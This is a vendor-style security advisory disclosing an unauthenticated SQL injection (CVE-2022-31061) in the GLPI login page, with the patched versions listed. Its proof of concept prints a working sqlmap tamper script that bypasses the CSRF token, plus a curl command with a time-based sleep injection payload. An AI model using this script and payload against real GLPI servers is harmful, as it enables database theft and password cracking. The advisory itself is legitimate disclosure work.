Security Advisory: Teclib – GLPI >= 9.3.0 (CVE-2022-31061)

Luglio 11, 2022

Tinexta Cyber Offensive Security Team has identified 1 critical vulnerability on Teclib digital assets during a Penetration Test on a customer that use the software GLPI.

Teclib

Teclib is an open-source software editor that offers a vast range of fully integrated open-source technology packages, to better respond to business needs.

Product description

GLPI is a Free Asset and IT Management Software package, Data center management, ITIL Service Desk, licenses tracking and software auditing.

Technical summary

Tinexta Cyber Offensive Security Team found an important vulnerability on: GLPI >= 9.3.0

Vulnerability	CVSSv3.1	Affected versions	Patched versions
Unauthenticated SQL Injection	9.8 Critical AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H	>= 9.3.0	9.5.8, 10.0.2

In the following section the technical details about this vulnerability, including evidence and a proof-of-concept. This vulnerability could affect thousands of assets.

Description

GLPI >= 9.3.0 is vulnerable to unauthenticated SQL Injection attacks.

By exploiting this vulnerability, a potential attacker will be able to exfiltrate the infor-mation contained in the database, as for example the hashed password of the legitimate users and then perform bruteforce attacks to gain high privileged access to the Web Application.

However, to achieve this result, the attacker will have the limitation of having to make numerous HTTP requests to extract data from the database one character at a time.

Asset

http(s)://<target>/front/login.php [POST] [Param: auth]

Proof of Concept

Below is shown how it was possible to identify and exploit the vulnerability both for the version >= 9.3.0 The steps executed are the following:

GLPI version fingerprint
SQL Injection verification using Time based payloads and measuring the response time for the following case: 5 seconds, 10 seconds and 15 seconds
Develop a custom sqlmap tamper script written in Python to bypass CSRF token and obtain the fields name that are generated across login attempts
Store the HTTP Request that was made upon login in a file called login.php
Intercept the HTTP Request (using Burp) to align the content type generated by the tamper from text/plain to application/x-www-form-urlencoded
Exploit the vulnerability using sqlmap and access to some information, as for example the current db username

The custom sqlmap tamper used for both tested versions (10.0.0, 10.0.1) is:

#!/usr/bin/env python3
import warnings
warnings.filterwarnings("ignore")
from lib.core.enums import PRIORITY
from bs4 import BeautifulSoup as bs
import requests
import urllib.parse

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    cookies = {"glpi_3f946f74140a3178722cb675d5bf6b47":"tt5aslh7cr33h0mah79srve8s7"}
    _form = requests.get('http://<target>/index.php?noAUTO=1', verify=False, cookies=cookies)
    _data = bs(_form.text, 'html.parser')
    _input = _data.find_all('input')
    if len(_input) == 0:
        print("Warning, unable to parse input...check code")
        return payload
    csrf = _input[2].get('value')
    login_name = _input[3].get('name')
    password = _input[4].get('name')
    checkbox = _input[5].get('name')
    payload = urllib.parse.quote(payload)
    res = 'noAUTO=0&redirect=&'
    res += f"_glpi_csrf_token={csrf}&"
    res += f"{login_name}=ad1&"
    res += f"{password}=ad1&"
    res += f"auth=ldap-1{payload}&"
    res += f"{checkbox}=&"
    res += "submit="
    return res

To correctly change the Content-Type generated by the tamper, was used a Man-in-the-Middle proxy as Burp Suite:

Evidence 1 Configuring Burp to align the Content-Type to the correct value

Evidence 2 The detail of the HTTP request used by sqlmap to exploit the SQL Injection

Test on version GLPI 10.0.0

In this subsection are detailed the steps for GLPI 10.0.0:

Evidence 3 GLPI version fingerprint

The screenshots below show the different response times based on the sleep value set in the payload sent using the curl command:

time curl -A Chrome -kis "https://<TARGET>/front/login.php" -X POST -d "no-AUTO=1&redirect=&_glpi_csrf_token=3544b1c8682aea1898acc8eb1233c3fb06aa79440fc31620a394208529bf0a68&fielda629391eeb5f41=a&fieldb629391eeb5f43=a&auth=ldap-1'%2b(select*from(select(sleep(5)))a)%2b'&fieldc629391eeb5f44=on&submit=" -x http://127.0.0.1:8080

Evidence 4 Measuring the HTTP Response time using 5-second sleep

Evidence 5 Measuring the HTTP Response time using 10-second sleep

Evidence 6 Measuring the HTTP Response time using 15-second sleep

Once successfully verified the SQL Injection, sqlmap was used to automate the exploitation of this vulnerability, obtaining these results:

Evidence 7 Exploit of the SQL Injection and spawn of the sql-shell

Evidence 8 Identifying db name and current user throughthe sql-shell

Test on version GLPI 10.0.1

In this subsection are detailed the steps for GLPI 10.0.1:

Evidence 9 GLPI version fingerprint

Evidence 10 Measuring the HTTP Response time using 5-second sleep

Evidence 11 Measuring the HTTP Response time using 10-second sleep

Evidence 12 Measuring the HTTP Response time using 15-second sleep

Evidence 13 Exploit of the SQL Injection and identification of the current user using the sql-shell

Impact

An attacker could obtain access to the application database, grab the credentials to perform offline bruteforcing password attacks, that could lead to privileged access to the GLPI panel. Furthermore, based on the database account associated to the Web Application, an attacker could use the DBMS native function (load_file on Mysql) to gain unauthorized access to the filesystem.